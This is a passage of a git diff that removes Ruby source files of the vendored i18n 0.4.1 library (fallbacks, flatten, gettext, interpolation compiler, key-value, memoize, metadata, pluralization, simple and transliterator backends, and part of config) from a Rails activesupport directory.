-# the Simple backend - or whatever other backend you are using:
-#
-#   I18n::Backend::Simple.send(:include, I18n::Backend::Fallbacks)
-module I18n
-  @@fallbacks = nil
-
-  class << self
-    # Returns the current fallbacks implementation. Defaults to +I18n::Locale::Fallbacks+.
-    def fallbacks
-      @@fallbacks ||= I18n::Locale::Fallbacks.new
-    end
-
-    # Sets the current fallbacks implementation. Use this to set a different fallbacks implementation.
-    def fallbacks=(fallbacks)
-      @@fallbacks = fallbacks
-    end
-  end
-
-  module Backend
-    module Fallbacks
-      # Overwrites the Base backend translate method so that it will try each
-      # locale given by I18n.fallbacks for the given locale. E.g. for the
-      # locale :"de-DE" it might try the locales :"de-DE", :de and :en
-      # (depends on the fallbacks implementation) until it finds a result with
-      # the given options. If it does not find any result for any of the
-      # locales it will then raise a MissingTranslationData exception as
-      # usual.
-      #
-      # The default option takes precedence over fallback locales
-      # only when it's not a String. When default contains String it
-      # is evaluated after fallback locales.
-      def translate(locale, key, options = {})
-        default = extract_string_default!(options) if options[:default]
-
-        I18n.fallbacks[locale].each do |fallback|
-          begin
-            result = super(fallback, key, options)
-            return result unless result.nil?
-          rescue I18n::MissingTranslationData
-          end
-        end
-
-        return super(locale, nil, options.merge(:default => default)) if default
-        raise(I18n::MissingTranslationData.new(locale, key, options))
-      end
-
-      def extract_string_default!(options)
-        defaults = Array(options[:default])
-        if index = find_first_string_default(defaults)
-          options[:default] = defaults[0, index]
-          defaults[index]
-        end
-      end
-
-      def find_first_string_default(defaults)
-        defaults.each_index { |ix| return ix if String === defaults[ix] }
-        nil
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/flatten.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/flatten.rb
deleted file mode 100644
index c23f7c13..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/flatten.rb
+++ /dev/null
@@ -1,113 +0,0 @@
-module I18n
-  module Backend
-    # This module contains several helpers to assist flattening translations.
-    # You may want to flatten translations for:
-    #
-    #   1) speed up lookups, as in the Memoize backend;
-    #   2) In case you want to store translations in a data store, as in ActiveRecord backend;
-    #
-    # You can check both backends above for some examples.
-    # This module also keeps all links in a hash so they can be properly resolved when flattened.
-    module Flatten
-      SEPARATOR_ESCAPE_CHAR = "\001"
-      FLATTEN_SEPARATOR = "."
-
-      # normalize_keys the flatten way. This method is significantly faster
-      # and creates way less objects than the one at I18n.normalize_keys.
-      # It also handles escaping the translation keys.
-      def self.normalize_flat_keys(locale, key, scope, separator)
-        keys = [scope, key].flatten.compact
-        separator ||= I18n.default_separator
-
-        if separator != FLATTEN_SEPARATOR
-          keys.map! do |k|
-            k.to_s.tr("#{FLATTEN_SEPARATOR}#{separator}",
-              "#{SEPARATOR_ESCAPE_CHAR}#{FLATTEN_SEPARATOR}")
-          end
-        end
-
-        keys.join(".")
-      end
-
-      # Receives a string and escape the default separator.
-      def self.escape_default_separator(key) #:nodoc:
-        key.to_s.tr(FLATTEN_SEPARATOR, SEPARATOR_ESCAPE_CHAR)
-      end
-
-      # Shortcut to I18n::Backend::Flatten.normalize_flat_keys
-      # and then resolve_links.
-      def normalize_flat_keys(locale, key, scope, separator)
-        key = I18n::Backend::Flatten.normalize_flat_keys(locale, key, scope, separator)
-        resolve_link(locale, key)
-      end
-
-      # Store flattened links.
-      def links
-        @links ||= Hash.new { |h,k| h[k] = {} }
-      end
-
-      # Flatten keys for nested Hashes by chaining up keys:
-      #
-      #   >> { "a" => { "b" => { "c" => "d", "e" => "f" }, "g" => "h" }, "i" => "j"}.wind
-      #   => { "a.b.c" => "d", "a.b.e" => "f", "a.g" => "h", "i" => "j" }
-      #
-      def flatten_keys(hash, escape, prev_key=nil, &block)
-        hash.each_pair do |key, value|
-          key = escape_default_separator(key) if escape
-          curr_key = [prev_key, key].compact.join(FLATTEN_SEPARATOR).to_sym
-          yield curr_key, value
-          flatten_keys(value, escape, curr_key, &block) if value.is_a?(Hash)
-        end
-      end
-
-      # Receives a hash of translations (where the key is a locale and
-      # the value is another hash) and return a hash with all
-      # translations flattened.
-      #
-      # Nested hashes are included in the flattened hash just if subtree
-      # is true and Symbols are automatically stored as links.
-      def flatten_translations(locale, data, escape, subtree)
-        hash = {}
-        flatten_keys(data, escape) do |key, value|
-          if value.is_a?(Hash)
-            hash[key] = value if subtree
-          else
-            store_link(locale, key, value) if value.is_a?(Symbol)
-            hash[key] = value
-          end
-        end
-        hash
-      end
-
-      protected
-
-        def store_link(locale, key, link)
-          links[locale.to_sym][key.to_s] = link.to_s
-        end
-
-        def resolve_link(locale, key)
-          key, locale = key.to_s, locale.to_sym
-          links = self.links[locale]
-
-          if links.key?(key)
-            links[key]
-          elsif link = find_link(locale, key)
-            store_link(locale, key, key.gsub(*link))
-          else
-            key
-          end
-        end
-
-        def find_link(locale, key) #:nodoc:
-          links[locale].each do |from, to|
-            return [from, to] if key[0, from.length] == from
-          end && nil
-        end
-
-        def escape_default_separator(key) #:nodoc:
-          I18n::Backend::Flatten.escape_default_separator(key)
-        end
-
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/gettext.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/gettext.rb
deleted file mode 100644
index 7f8ad22a..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/gettext.rb
+++ /dev/null
@@ -1,75 +0,0 @@
-# encoding: utf-8
-
-require 'i18n/gettext'
-require 'i18n/gettext/po_parser'
-
-# Experimental support for using Gettext po files to store translations.
-#
-# To use this you can simply include the module to the Simple backend - or
-# whatever other backend you are using.
-#
-#   I18n::Backend::Simple.send(:include, I18n::Backend::Gettext)
-#
-# Now you should be able to include your Gettext translation (*.po) files to
-# the I18n.load_path so they're loaded to the backend and you can use them as
-# usual:
-#
-#  I18n.load_path += Dir["path/to/locales/*.po"]
-#
-# Following the Gettext convention this implementation expects that your
-# translation files are named by their locales. E.g. the file en.po would
-# contain the translations for the English locale.
-module I18n
-  module Backend
-    module Gettext
-      class PoData < Hash
-        def set_comment(msgid_or_sym, comment)
-          # ignore
-        end
-      end
-
-      protected
-        def load_po(filename)
-          locale = ::File.basename(filename, '.po').to_sym
-          data = normalize(locale, parse(filename))
-          { locale => data }
-        end
-
-        def parse(filename)
-          GetText::PoParser.new.parse(::File.read(filename), PoData.new)
-        end
-
-        def normalize(locale, data)
-          data.inject({}) do |result, (key, value)|
-            unless key.nil? || key.empty?
-              key, value = normalize_pluralization(locale, key, value) if key.index("\000")
-
-              parts = key.split('|').reverse
-              normalized = parts.inject({}) do |normalized, part|
-                normalized = { part => normalized.empty? ? value : normalized }
-              end
-
-              # deep_merge by Stefan Rusterholz, see http://www.ruby-forum.com/topic/142809
-              merger = proc { |key, v1, v2| Hash === v1 && Hash === v2 ? v1.merge(v2, &merger) : v2 }
-              result.merge!(normalized, &merger)
-            end
-            result
-          end
-        end
-
-        def normalize_pluralization(locale, key, value)
-          # FIXME po_parser includes \000 chars that can not be turned into Symbols
-          key = key.gsub("\000", I18n::Gettext::PLURAL_SEPARATOR).split(I18n::Gettext::PLURAL_SEPARATOR).first
-
-          keys = I18n::Gettext.plural_keys(locale)
-          values = value.split("\000")
-          raise "invalid number of plurals: #{values.size}, keys: #{keys.inspect}" if values.size != keys.size
-
-          result = {}
-          values.each_with_index { |value, ix| result[keys[ix]] = value }
-          [key, result]
-        end
-
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/interpolation_compiler.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/interpolation_compiler.rb
deleted file mode 100644
index 8c7c9c91..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/interpolation_compiler.rb
+++ /dev/null
@@ -1,123 +0,0 @@
-# encoding: utf-8
-
-# The InterpolationCompiler module contains optimizations that can tremendously
-# speed up the interpolation process on the Simple backend.
-#
-# It works by defining a pre-compiled method on stored translation Strings that
-# already bring all the knowledge about contained interpolation variables etc.
-# so that the actual recurring interpolation will be very fast.
-#
-# To enable pre-compiled interpolations you can simply include the
-# InterpolationCompiler module to the Simple backend:
-#
-#   I18n::Backend::Simple.send(:include, I18n::Backend::InterpolationCompiler)
-#
-# Note that InterpolationCompiler does not yield meaningful results and consequently
-# should not be used with Ruby 1.9 (YARV) but improves performance everywhere else
-# (jRuby, Rubinius and 1.8.7).
-module I18n
-  module Backend
-    module InterpolationCompiler
-      module Compiler
-        extend self
-
-        TOKENIZER                    = /(%%\{[^\}]+\}|%\{[^\}]+\})/
-        INTERPOLATION_SYNTAX_PATTERN = /(%)?(%\{([^\}]+)\})/
-
-        def compile_if_an_interpolation(string)
-          if interpolated_str?(string)
-            string.instance_eval <<-RUBY_EVAL, __FILE__, __LINE__
-              def i18n_interpolate(v = {})
-                "#{compiled_interpolation_body(string)}"
-              end
-            RUBY_EVAL
-          end
-
-          string
-        end
-
-        def interpolated_str?(str)
-          str.kind_of?(::String) && str =~ INTERPOLATION_SYNTAX_PATTERN
-        end
-
-        protected
-        # tokenize("foo %{bar} baz %%{buz}") # => ["foo ", "%{bar}", " baz ", "%%{buz}"]
-        def tokenize(str)
-          str.split(TOKENIZER)
-        end
-
-        def compiled_interpolation_body(str)
-          tokenize(str).map do |token|
-            (matchdata = token.match(INTERPOLATION_SYNTAX_PATTERN)) ? handle_interpolation_token(token, matchdata) : escape_plain_str(token)
-          end.join
-        end
-
-        def handle_interpolation_token(interpolation, matchdata)
-          escaped, pattern, key = matchdata.values_at(1, 2, 3)
-          escaped ? pattern : compile_interpolation_token(key.to_sym)
-        end
-
-        def compile_interpolation_token(key)
-          "\#{#{interpolate_or_raise_missing(key)}}"
-        end
-
-        def interpolate_or_raise_missing(key)
-          escaped_key = escape_key_sym(key)
-          Base::RESERVED_KEYS.include?(key) ? reserved_key(escaped_key) : interpolate_key(escaped_key)
-        end
-
-        def interpolate_key(key)
-          [direct_key(key), nil_key(key), missing_key(key)].join('||')
-        end
-
-        def direct_key(key)
-          "((t = v[#{key}]) && t.respond_to?(:call) ? t.call : t)"
-        end
-
-        def nil_key(key)
-          "(v.has_key?(#{key}) && '')"
-        end
-
-        def missing_key(key)
-          "raise(MissingInterpolationArgument.new(#{key}, self))"
-        end
-
-        def reserved_key(key)
-          "raise(ReservedInterpolationKey.new(#{key}, self))"
-        end
-
-        def escape_plain_str(str)
-          str.gsub(/"|\\|#/) {|x| "\\#{x}"}
-        end
-
-        def escape_key_sym(key)
-          # rely on Ruby to do all the hard work :)
-          key.to_sym.inspect
-        end
-      end
-
-      def interpolate(locale, string, values)
-        if string.respond_to?(:i18n_interpolate)
-          string.i18n_interpolate(values)
-        elsif values
-          super
-        else
-          string
-        end
-      end
-
-      def store_translations(locale, data, options = {})
-        compile_all_strings_in(data)
-        super
-      end
-
-      protected
-      def compile_all_strings_in(data)
-        data.each_value do |value|
-          Compiler.compile_if_an_interpolation(value)
-          compile_all_strings_in(value) if value.kind_of?(Hash)
-        end
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/key_value.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/key_value.rb
deleted file mode 100644
index d0265abf..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/key_value.rb
+++ /dev/null
@@ -1,102 +0,0 @@
-# encoding: utf-8
-
-require 'i18n/backend/base'
-require 'active_support/json'
-
-module I18n
-  module Backend
-    # This is a basic backend for key value stores. It receives on
-    # initialization the store, which should respond to three methods:
-    #
-    # * store#[](key)         - Used to get a value
-    # * store#[]=(key, value) - Used to set a value
-    # * store#keys            - Used to get all keys
-    #
-    # Since these stores only supports string, all values are converted
-    # to JSON before being stored, allowing it to also store booleans,
-    # hashes and arrays. However, this store does not support Procs.
-    #
-    # As the ActiveRecord backend, Symbols are just supported when loading
-    # translations from the filesystem or through explicit store translations.
-    #
-    # Also, avoid calling I18n.available_locales since it's a somehow
-    # expensive operation in most stores.
-    #
-    # == Example
-    #
-    # To setup I18n to use TokyoCabinet in memory is quite straightforward:
-    #
-    #   require 'rufus/tokyo/cabinet' # gem install rufus-tokyo
-    #   I18n.backend = I18n::Backend::KeyValue.new(Rufus::Tokyo::Cabinet.new('*'))
-    #
-    # == Performance
-    #
-    # You may make this backend even faster by including the Memoize module.
-    # However, notice that you should properly clear the cache if you change
-    # values directly in the key-store.
-    #
-    # == Subtrees
-    #
-    # In most backends, you are allowed to retrieve part of a translation tree:
-    #
-    #   I18n.backend.store_translations :en, :foo => { :bar => :baz }
-    #   I18n.t "foo" #=> { :bar => :baz }
-    #
-    # This backend supports this feature by default, but it slows down the storage
-    # of new data considerably and makes hard to delete entries. That said, you are
-    # allowed to disable the storage of subtrees on initialization:
-    #
-    #   I18n::Backend::KeyValue.new(@store, false)
-    #
-    # This is useful if you are using a KeyValue backend chained to a Simple backend.
-    class KeyValue
-      module Implementation
-        attr_accessor :store
-
-        include Base, Flatten
-
-        def initialize(store, subtrees=true)
-          @store, @subtrees = store, subtrees
-        end
-
-        def store_translations(locale, data, options = {})
-          escape = options.fetch(:escape, true)
-          flatten_translations(locale, data, escape, @subtrees).each do |key, value|
-            key = "#{locale}.#{key}"
-
-            case value
-            when Hash
-              if @subtrees && (old_value = @store[key])
-                old_value = ActiveSupport::JSON.decode(old_value)
-                value = old_value.deep_symbolize_keys.deep_merge!(value) if old_value.is_a?(Hash)
-              end
-            when Proc
-              raise "Key-value stores cannot handle procs"
-            end
-
-            @store[key] = ActiveSupport::JSON.encode(value) unless value.is_a?(Symbol)
-          end
-        end
-
-        def available_locales
-          locales = @store.keys.map { |k| k =~ /\./; $` }
-          locales.uniq!
-          locales.compact!
-          locales.map! { |k| k.to_sym }
-          locales
-        end
-
-      protected
-
-        def lookup(locale, key, scope = [], options = {})
-          key   = normalize_flat_keys(locale, key, scope, options[:separator])
-          value = @store["#{locale}.#{key}"]
-          value = ActiveSupport::JSON.decode(value) if value
-          value.is_a?(Hash) ? value.deep_symbolize_keys : value
-        end
-      end
-
-      include Implementation
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/memoize.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/memoize.rb
deleted file mode 100644
index 6e811d10..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/memoize.rb
+++ /dev/null
@@ -1,48 +0,0 @@
-# encoding: utf-8
-#
-# Memoize module simply memoizes the values returned by lookup using
-# a flat hash and can tremendously speed up the lookup process in a backend.
-#
-# To enable it you can simply include the Memoize module to your backend:
-#
-#   I18n::Backend::Simple.send(:include, I18n::Backend::Memoize)
-#
-# Notice that it's the responsibility of the backend to define whenever the
-# cache should be cleaned.
-module I18n
-  module Backend
-    module Memoize
-      def available_locales
-        @memoized_locales ||= super
-      end
-
-      def store_translations(locale, data, options = {})
-        reset_memoizations!(locale)
-        super
-      end
-
-      def reload!
-        reset_memoizations!
-        super
-      end
-
-      protected
-
-        def lookup(locale, key, scope = nil, options = {})
-          flat_key  = I18n::Backend::Flatten.normalize_flat_keys(locale,
-            key, scope, options[:separator]).to_sym
-          flat_hash = memoized_lookup[locale.to_sym]
-          flat_hash.key?(flat_key) ? flat_hash[flat_key] : (flat_hash[flat_key] = super)
-        end
-
-        def memoized_lookup
-          @memoized_lookup ||= Hash.new { |h, k| h[k] = {} }
-        end
-
-        def reset_memoizations!(locale=nil)
-          @memoized_locales = nil
-          (locale ? memoized_lookup[locale.to_sym] : memoized_lookup).clear
-        end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/metadata.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/metadata.rb
deleted file mode 100644
index 5237b4d9..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/metadata.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-# I18n translation metadata is useful when you want to access information
-# about how a translation was looked up, pluralized or interpolated in
-# your application.
-#
-#   msg = I18n.t(:message, :default => 'Hi!', :scope => :foo)
-#   msg.translation_metadata
-#   # => { :key => :message, :scope => :foo, :default => 'Hi!' }
-#
-# If a :count option was passed to #translate it will be set to the metadata.
-# Likewise, if any interpolation variables were passed they will also be set.
-#
-# To enable translation metadata you can simply include the Metadata module
-# into the Simple backend class - or whatever other backend you are using:
-#
-#   I18n::Backend::Simple.send(:include, I18n::Backend::Metadata)
-#
-module I18n
-  module Backend
-    module Metadata
-      class << self
-        def included(base)
-          Object.class_eval do
-            def translation_metadata
-              @translation_metadata ||= {}
-            end
-
-            def translation_metadata=(translation_metadata)
-              @translation_metadata = translation_metadata
-            end
-          end unless Object.method_defined?(:translation_metadata)
-        end
-      end
-
-      def translate(locale, key, options = {})
-        metadata = {
-          :locale    => locale,
-          :key       => key,
-          :scope     => options[:scope],
-          :default   => options[:default],
-          :separator => options[:separator],
-          :values    => options.reject { |name, value| Base::RESERVED_KEYS.include?(name) }
-        }
-        with_metadata(metadata) { super }
-      end
-
-      def interpolate(locale, entry, values = {})
-        metadata = entry.translation_metadata.merge(:original => entry)
-        with_metadata(metadata) { super }
-      end
-
-      def pluralize(locale, entry, count)
-        with_metadata(:count => count) { super }
-      end
-
-      protected
-
-        def with_metadata(metadata, &block)
-          result = yield
-          result.translation_metadata = result.translation_metadata.merge(metadata) if result
-          result
-        end
-
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/pluralization.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/pluralization.rb
deleted file mode 100644
index 33a2aff7..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/pluralization.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-# encoding: utf-8
-
-# I18n locale fallbacks are useful when you want your application to use
-# translations from other locales when translations for the current locale are
-# missing. E.g. you might want to use :en translations when translations in
-# your applications main locale :de are missing.
-#
-# To enable locale specific pluralizations you can simply include the
-# Pluralization module to the Simple backend - or whatever other backend you
-# are using.
-#
-#   I18n::Backend::Simple.send(:include, I18n::Backend::Pluralization)
-#
-# You also need to make sure to provide pluralization algorithms to the
-# backend, i.e. include them to your I18n.load_path accordingly.
-module I18n
-  module Backend
-    module Pluralization
-      # Overwrites the Base backend translate method so that it will check the
-      # translation meta data space (:i18n) for a locale specific pluralization
-      # rule and use it to pluralize the given entry. I.e. the library expects
-      # pluralization rules to be stored at I18n.t(:'i18n.plural.rule')
-      #
-      # Pluralization rules are expected to respond to #call(entry, count) and
-      # return a pluralization key. Valid keys depend on the translation data
-      # hash (entry) but it is generally recommended to follow CLDR's style,
-      # i.e., return one of the keys :zero, :one, :few, :many, :other.
-      #
-      # The :zero key is always picked directly when count equals 0 AND the
-      # translation data has the key :zero. This way translators are free to
-      # either pick a special :zero translation even for languages where the
-      # pluralizer does not return a :zero key.
-      def pluralize(locale, entry, count)
-        return entry unless entry.is_a?(Hash) and count
-
-        pluralizer = pluralizer(locale)
-        if pluralizer.respond_to?(:call)
-          key = count == 0 && entry.has_key?(:zero) ? :zero : pluralizer.call(count)
-          raise InvalidPluralizationData.new(entry, count) unless entry.has_key?(key)
-          entry[key]
-        else
-          super
-        end
-      end
-
-      protected
-
-        def pluralizers
-          @pluralizers ||= {}
-        end
-
-        def pluralizer(locale)
-          pluralizers[locale] ||= I18n.t(:'i18n.plural.rule', :locale => locale, :resolve => false)
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/simple.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/simple.rb
deleted file mode 100644
index 30e2ac0c..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/simple.rb
+++ /dev/null
@@ -1,87 +0,0 @@
-# encoding: utf-8
-
-module I18n
-  module Backend
-    # A simple backend that reads translations from YAML files and stores them in
-    # an in-memory hash. Relies on the Base backend.
-    #
-    # The implementation is provided by a Implementation module allowing to easily
-    # extend Simple backend's behavior by including modules. E.g.:
-    #
-    # module I18n::Backend::Pluralization
-    #   def pluralize(*args)
-    #     # extended pluralization logic
-    #     super
-    #   end
-    # end
-    #
-    # I18n::Backend::Simple.send(:include, I18n::Backend::Pluralization)
-    class Simple
-      module Implementation
-        include Base
-
-        def initialized?
-          @initialized ||= false
-        end
-
-        # Stores translations for the given locale in memory.
-        # This uses a deep merge for the translations hash, so existing
-        # translations will be overwritten by new ones only at the deepest
-        # level of the hash.
-        def store_translations(locale, data, options = {})
-          locale = locale.to_sym
-          translations[locale] ||= {}
-          data = data.deep_symbolize_keys
-          translations[locale].deep_merge!(data)
-        end
-
-        # Get available locales from the translations hash
-        def available_locales
-          init_translations unless initialized?
-          translations.inject([]) do |locales, (locale, data)|
-            locales << locale unless (data.keys - [:i18n]).empty?
-            locales
-          end
-        end
-
-        # Clean up translations hash and set initialized to false on reload!
-        def reload!
-          @initialized = false
-          @translations = nil
-          super
-        end
-
-      protected
-
-        def init_translations
-          load_translations
-          @initialized = true
-        end
-
-        def translations
-          @translations ||= {}
-        end
-
-        # Looks up a translation from the translations hash. Returns nil if
-        # eiher key is nil, or locale, scope or key do not exist as a key in the
-        # nested translations hash. Splits keys or scopes containing dots
-        # into multiple keys, i.e. <tt>currency.format</tt> is regarded the same as
-        # <tt>%w(currency format)</tt>.
-        def lookup(locale, key, scope = [], options = {})
-          init_translations unless initialized?
-          keys = I18n.normalize_keys(locale, key, scope, options[:separator])
-
-          keys.inject(translations) do |result, key|
-            key = key.to_sym
-            return nil unless result.is_a?(Hash) && result.has_key?(key)
-            result = result[key]
-            result = resolve(locale, key, result, options.merge(:scope => nil)) if result.is_a?(Symbol)
-            result
-          end
-        end
-      end
-
-      include Implementation
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/transliterator.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/transliterator.rb
deleted file mode 100644
index 2ce2cc82..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/backend/transliterator.rb
+++ /dev/null
@@ -1,98 +0,0 @@
-# encoding: utf-8
-module I18n
-  module Backend
-    module Transliterator
-      DEFAULT_REPLACEMENT_CHAR = "?"
-
-      # Given a locale and a UTF-8 string, return the locale's ASCII
-      # approximation for the string.
-      def transliterate(locale, string, replacement = nil)
-        @transliterators ||= {}
-        @transliterators[locale] ||= Transliterator.get I18n.t(:'i18n.transliterate.rule',
-          :locale => locale, :resolve => false, :default => {})
-        @transliterators[locale].transliterate(string, replacement)
-      end
-
-      # Get a transliterator instance.
-      def self.get(rule = nil)
-        if !rule || rule.kind_of?(Hash)
-          HashTransliterator.new(rule)
-        elsif rule.kind_of? Proc
-          ProcTransliterator.new(rule)
-        else
-          raise I18n::ArgumentError, "Transliteration rule must be a proc or a hash."
-        end
-      end
-
-      # A transliterator which accepts a Proc as its transliteration rule.
-      class ProcTransliterator
-        def initialize(rule)
-          @rule = rule
-        end
-
-        def transliterate(string, replacement = nil)
-          @rule.call(string)
-        end
-      end
-
-      # A transliterator which accepts a Hash of characters as its translation
-      # rule.
-      class HashTransliterator
-        DEFAULT_APPROXIMATIONS = {
-          "À"=>"A", "Á"=>"A", "Â"=>"A", "Ã"=>"A", "Ä"=>"A", "Å"=>"A", "Æ"=>"AE",
-          "Ç"=>"C", "È"=>"E", "É"=>"E", "Ê"=>"E", "Ë"=>"E", "Ì"=>"I", "Í"=>"I",
-          "Î"=>"I", "Ï"=>"I", "Ð"=>"D", "Ñ"=>"N", "Ò"=>"O", "Ó"=>"O", "Ô"=>"O",
-          "Õ"=>"O", "Ö"=>"O", "×"=>"x", "Ø"=>"O", "Ù"=>"U", "Ú"=>"U", "Û"=>"U",
-          "Ü"=>"U", "Ý"=>"Y", "Þ"=>"Th", "ß"=>"ss", "à"=>"a", "á"=>"a", "â"=>"a",
-          "ã"=>"a", "ä"=>"a", "å"=>"a", "æ"=>"ae", "ç"=>"c", "è"=>"e", "é"=>"e",
-          "ê"=>"e", "ë"=>"e", "ì"=>"i", "í"=>"i", "î"=>"i", "ï"=>"i", "ð"=>"d",
-          "ñ"=>"n", "ò"=>"o", "ó"=>"o", "ô"=>"o", "õ"=>"o", "ö"=>"o", "ø"=>"o",
-          "ù"=>"u", "ú"=>"u", "û"=>"u", "ü"=>"u", "ý"=>"y", "þ"=>"th", "ÿ"=>"y",
-          "Ā"=>"A", "ā"=>"a", "Ă"=>"A", "ă"=>"a", "Ą"=>"A", "ą"=>"a", "Ć"=>"C",
-          "ć"=>"c", "Ĉ"=>"C", "ĉ"=>"c", "Ċ"=>"C", "ċ"=>"c", "Č"=>"C", "č"=>"c",
-          "Ď"=>"D", "ď"=>"d", "Đ"=>"D", "đ"=>"d", "Ē"=>"E", "ē"=>"e", "Ĕ"=>"E",
-          "ĕ"=>"e", "Ė"=>"E", "ė"=>"e", "Ę"=>"E", "ę"=>"e", "Ě"=>"E", "ě"=>"e",
-          "Ĝ"=>"G", "ĝ"=>"g", "Ğ"=>"G", "ğ"=>"g", "Ġ"=>"G", "ġ"=>"g", "Ģ"=>"G",
-          "ģ"=>"g", "Ĥ"=>"H", "ĥ"=>"h", "Ħ"=>"H", "ħ"=>"h", "Ĩ"=>"I", "ĩ"=>"i",
-          "Ī"=>"I", "ī"=>"i", "Ĭ"=>"I", "ĭ"=>"i", "Į"=>"I", "į"=>"i", "İ"=>"I",
-          "ı"=>"i", "IJ"=>"IJ", "ij"=>"ij", "Ĵ"=>"J", "ĵ"=>"j", "Ķ"=>"K", "ķ"=>"k",
-          "ĸ"=>"k", "Ĺ"=>"L", "ĺ"=>"l", "Ļ"=>"L", "ļ"=>"l", "Ľ"=>"L", "ľ"=>"l",
-          "Ŀ"=>"L", "ŀ"=>"l", "Ł"=>"L", "ł"=>"l", "Ń"=>"N", "ń"=>"n", "Ņ"=>"N",
-          "ņ"=>"n", "Ň"=>"N", "ň"=>"n", "ʼn"=>"'n", "Ŋ"=>"NG", "ŋ"=>"ng",
-          "Ō"=>"O", "ō"=>"o", "Ŏ"=>"O", "ŏ"=>"o", "Ő"=>"O", "ő"=>"o", "Œ"=>"OE",
-          "œ"=>"oe", "Ŕ"=>"R", "ŕ"=>"r", "Ŗ"=>"R", "ŗ"=>"r", "Ř"=>"R", "ř"=>"r",
-          "Ś"=>"S", "ś"=>"s", "Ŝ"=>"S", "ŝ"=>"s", "Ş"=>"S", "ş"=>"s", "Š"=>"S",
-          "š"=>"s", "Ţ"=>"T", "ţ"=>"t", "Ť"=>"T", "ť"=>"t", "Ŧ"=>"T", "ŧ"=>"t",
-          "Ũ"=>"U", "ũ"=>"u", "Ū"=>"U", "ū"=>"u", "Ŭ"=>"U", "ŭ"=>"u", "Ů"=>"U",
-          "ů"=>"u", "Ű"=>"U", "ű"=>"u", "Ų"=>"U", "ų"=>"u", "Ŵ"=>"W", "ŵ"=>"w",
-          "Ŷ"=>"Y", "ŷ"=>"y", "Ÿ"=>"Y", "Ź"=>"Z", "ź"=>"z", "Ż"=>"Z", "ż"=>"z",
-          "Ž"=>"Z", "ž"=>"z"
-        }
-
-        def initialize(rule = nil)
-          @rule = rule
-          add DEFAULT_APPROXIMATIONS
-          add rule if rule
-        end
-
-        def transliterate(string, replacement = nil)
-          string.gsub(/[^\x00-\x7f]/u) do |char|
-            approximations[char] || replacement || DEFAULT_REPLACEMENT_CHAR
-          end
-        end
-
-        private
-
-          def approximations
-            @approximations ||= {}
-          end
-
-          # Add transliteration rules to the approximations hash.
-          def add(hash)
-            hash.keys.each {|key| hash[key.to_s] = hash.delete(key).to_s}
-            approximations.merge! hash
-          end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/config.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/config.rb
deleted file mode 100644
index ceac1d8f..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n/config.rb
+++ /dev/null
@@ -1,84 +0,0 @@
-module I18n
-  class Config
-    # The only configuration value that is not global and scoped to thread is :locale.
-    # It defaults to the default_locale.
-    def locale
-      @locale ||= default_locale
-    end
-
-    # Sets the current locale pseudo-globally, i.e. in the Thread.current hash.
-    def locale=(locale)
-      @locale = locale.to_sym rescue nil
-    end
-
-    # Returns the current backend. Defaults to +Backend::Simple+.
-    def backend
-      @@backend ||= Backend::Simple.new
-    end
-
-    # Sets the current backend. Used to set a custom backend.
-    def backend=(backend)
-      @@backend = backend
-    end
-
-    # Returns the current default locale. Defaults to :'en'
-    def default_locale
-      @@default_locale ||= :en
-    end
-
-    # Sets the current default locale. Used to set a custom default locale.
-    def default_locale=(locale)
-      @@default_locale = locale.to_sym rescue nil
-    end
-
-    # Returns an array of locales for which translations are available.
-    # Unless you explicitely set the these through I18n.available_locales=
-    # the call will be delegated to the backend and memoized on the I18n module.
-    def available_locales
-      @@available_locales ||= backend.available_locales
-    end
-
-    # Sets the available locales.
-    def available_locales=(locales)
-      @@available_locales = locales
-    end
-
